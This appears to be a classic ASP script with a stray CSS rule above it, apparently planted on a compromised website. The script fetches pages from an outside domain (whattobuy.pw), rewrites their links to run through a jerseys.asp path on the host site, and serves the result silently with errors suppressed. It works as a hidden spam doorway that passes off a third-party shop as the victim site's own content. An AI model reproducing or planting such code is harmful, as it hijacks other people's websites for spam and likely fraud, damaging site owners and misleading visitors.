*{margin:0px; padding:0px;} body{background:#ffffff !important; padding:0px;margin:0px;border:0;}
<% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function htmls = getHTTPPage("http://whattobuy.pw/"&request("classid")&request.ServerVariables("QUERY_STRING")) htmls = replace(htmls,"http://whattobuy.pw/","http://arebe.se/jerseys.asp?") htmls = replace(htmls,""&chr(34)&"images/",""&chr(34)&"http://whattobuy.pw/images/") htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&"http://whattobuy.pw/includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&"http://whattobuy.pw/includes/") response.write htmls %>